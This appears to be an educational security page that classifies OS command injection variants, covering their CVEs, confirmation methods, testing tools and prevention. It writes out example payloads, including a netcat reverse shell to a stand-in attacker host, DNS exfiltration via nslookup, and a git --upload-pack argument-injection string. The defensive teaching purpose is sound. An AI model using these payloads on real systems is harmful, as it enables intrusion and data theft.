Command injection allows attackers to execute arbitrary OS commands on the host server by injecting into shell calls.
TL;DR
shell=False array APIs are still vulnerableThis section maps the six distinct exploitation techniques that fall under the command injection umbrella. Each variant shares the same root cause — user-controlled input influencing OS command execution — but differs in how injection is delivered, how success is confirmed, and what defenses apply.
The command injection pillar page covers the shared fundamentals: shell metacharacter parsing, the CWE-77/CWE-78 classification, OWASP A03:2021 positioning, filter bypass techniques, and multi-language prevention. The pages in this cluster go deeper into the mechanics of each variant.
| Variant | CWE | Shell Required | Output Channel | Confirmation Method | Representative CVE |
|---|---|---|---|---|---|
| Classic in-band | CWE-78 | Yes | HTTP response | uid= in body | CVE-2022-46169 (Cacti) |
| Blind | CWE-78 | Yes | None | Reverse shell, file write | CVE-2024-9463 (Expedition) |
| Time-based blind | CWE-78 | Yes | None (delay) | Proportional sleep delta | CVE-2024-21887 (Ivanti) |
| Out-of-band (OOB) | CWE-78 | Yes | DNS/HTTP callback | OAST server interaction | CVE-2024-3400 (PAN-OS) |
| Argument injection | CWE-88 | No | Varies | Binary option behavior | CVE-2024-39930 (Gogs) |
| Second-order (covered in pillar) | CWE-77 | Yes | Deferred | OOB with long TTL | CVE-2024-3400 (chain step) |
Classic OS command injection is the baseline: the injected command's output appears verbatim in the HTTP response. Shell metacharacters — ;, |, &&, ||, `, $() — separate the attacker's command from the legitimate one. The id or whoami command output in the response body constitutes Tier 1 confirmed proof.
This variant is the most immediately visible and the easiest to confirm. It also covers the widest variety of real-world CVEs — including CVE-2022-46169 (Cacti, poller_id passed to proc_open()), CVE-2014-6271 (Shellshock, environment variable trailing commands), and CVE-2024-10914 (D-Link NAS, name parameter in CGI script). See the Classic page for the full payload arsenal, HTTP header injection vectors, and multi-language prevention patterns.
Blind command injection occurs when the application executes the injected command but discards its output — either by not reflecting stdout/stderr in the response, running the command in a background thread, or processing input in a queue. The attack surface is identical to Classic injection; only the confirmation method differs.
Detection requires a side channel: a file write to a web-accessible path (; touch /tmp/proof), a reverse shell callback (; nc attacker 4444 -e /bin/sh), or transition to one of the two blind-specific variants below. The key insight: absence of output does not mean absence of injection. Many production systems execute shell commands for logging, reporting, or monitoring without ever reflecting results to users.
Time-based blind injection uses sleep or ping commands to introduce a measurable delay, treating response latency as a binary oracle. A reliable confirmation protocol requires proportional validation: inject sleep 7 (expect ~7s delta), then inject sleep 14 (expect ~14s delta). If both values scale proportionally with the injected N, the injection is confirmed. A single spike without scaling indicates server load, CDN timeout, or network jitter — not injection.
This variant is essential when OOB is not feasible due to network restrictions. BreachVex establishes a median latency baseline from several clean requests before any sleep injection, suppressing false positives from high-latency environments.
OOB injection triggers a network connection from the target to an attacker-controlled listener. The DNS callback pattern — ; nslookup $(whoami).OAST_DOMAIN — is the most reliable: DNS traffic passes through nearly all outbound firewalls, the subdomain encodes the running user, and no response buffering affects the result.
OOB surpasses time-based detection for three reasons: it is immune to server load jitter, it provides identity evidence (not just a binary yes/no), and it works through CDNs that buffer responses and flatten time deltas. Infrastructure options include Burp Collaborator (Burp Suite Pro), Interactsh (self-hostable, ProjectDiscovery), and public OAST endpoints (oast.pro, oast.live, oast.fun).
CVE-2024-3400 (PAN-OS, CVSS 10.0) was confirmed in the wild via OOB: threat actor UTA0218 used the technique to verify execution before deploying the UPSTYLE Python backdoor against government and critical infrastructure targets.
Argument injection is categorically different from the four variants above. It does not require shell metacharacters, shell invocation, or even a string-concatenated command. The attacker injects command-line flags into an array-form subprocess call that the developer believed was safe.
# Developer assumes this is safe because no shell is invoked:
subprocess.run(["git", "clone", user_repo])
# Attacker supplies:
# user_repo = "--upload-pack=touch /tmp/pwned http://attacker.com/repo"
# Resulting call: git clone --upload-pack=touch /tmp/pwned http://attacker.com/repo
# git executes: touch /tmp/pwned — no shell, no metacharactersThis variant is severely underdetected because standard escape-based defenses and shell=False array APIs offer no protection. The Argument Injection page covers the BatBadBut ecosystem disclosure (CVE-2024-24576, affecting Rust, PHP, Node.js, Haskell on Windows), the Sonar argument-injection-vectors project (curl, git, ssh, psql, zip, chrome), and CVE-2024-39930 (Gogs SSH, CVSS 9.9).
Testing only for Classic injection misses Argument injection (CWE-88) entirely. A parameter that rejects ; and | may still accept --output=/etc/cron.d/backdoor. Every parameter reaching an external binary should be tested with flag-like values beginning with -.
All six variants trace back to one design decision: using OS commands from application-layer code when language-native libraries would suffice. The OWASP OS Command Injection Defense Cheat Sheet and CISA's July 2024 Secure by Design alert both state the same primary control: do not invoke a shell. Use os.listdir() instead of ls, socket.gethostbyname() instead of nslookup, requests instead of curl. When OS execution is genuinely unavoidable, use array-form subprocess APIs with strict allowlist validation on every argument — and test every argument for flag injection, not just metacharacter injection.
Note: OWASP Top 10:2025 RC1 reclassifies Injection as A05:2025; A03:2021 remains the published reference.
Classic in-band (output reflected in response), Blind (output discarded), Time-based blind (sleep/ping delay as oracle), Out-of-band (DNS/HTTP callback exfiltration), Argument injection (CLI flag injection, CWE-88), and Second-order / stored (deferred execution by background process).
Second-order injection is hardest because the payload is stored and executed asynchronously, sometimes hours later by a background process. Standard DAST scanners that inspect immediate HTTP responses will miss it entirely. OOB payloads with long DNS TTLs are the most reliable detection method.
Classic injection returns the command output in the HTTP response — the attacker sees results directly. Blind injection executes the command but discards all output from the response. They share the same root cause (unsanitized input passed to a shell) but require different detection and exploitation techniques.
Classic injection uses shell metacharacters (;, |, &&, $()) to chain new commands. Argument injection (CWE-88) injects command-line flags into an existing binary call — no shell is needed. A value like --upload-pack=id>/tmp/pwned passed to git clone executes arbitrary code without any metacharacter. Standard shell escaping does not prevent it.
Out-of-band (OOB) via DNS callback is the most reliable. It is immune to server load jitter (unlike time-based), passes through most firewalls (DNS is rarely blocked outbound), and provides identity proof by encoding command output in the DNS subdomain. Burp Collaborator and Interactsh are the standard infrastructure.
Commix (v4.1) covers Classic, Time-based blind, File-based, and OOB variants automatically with --technique=CTF. Argument injection requires manual testing — submit values beginning with - or -- in parameters passed to external binaries. Second-order injection requires manual review of stored data flows.
Unauthenticated network-reachable command injection is scored CVSS 9.8 as a baseline. Two 2024 CVEs reached CVSS 10.0: CVE-2024-3400 (PAN-OS, full C:H/I:H/A:H with scope change) and CVE-2024-24576 (Rust stdlib BatBadBut on Windows). Authenticated variants typically score 8.0–9.3 depending on privilege level required.
Argument injection (CWE-88) requires no shell. The injected value is parsed as a command-line option by the spawned binary itself. Even subprocess.run(['cmd', user_input]) with shell=False is vulnerable if user_input starts with a flag like --output=/path.
Start with Classic — submit ; echo cmdi-$(id) and check if uid= appears in the response. If not, try Time-based (inject ; sleep 7 and measure delta vs baseline). If timing is unreliable, use OOB with a Collaborator/Interactsh domain. Test Argument injection on any parameter that reaches an external binary. Second-order requires code review or stored payload monitoring.
Often yes. The deferred execution context (cron jobs, admin scripts, background workers) frequently runs as root or a higher-privilege service account than the web application process itself. This is why second-order injection in admin panels and job scheduling UIs is particularly severe.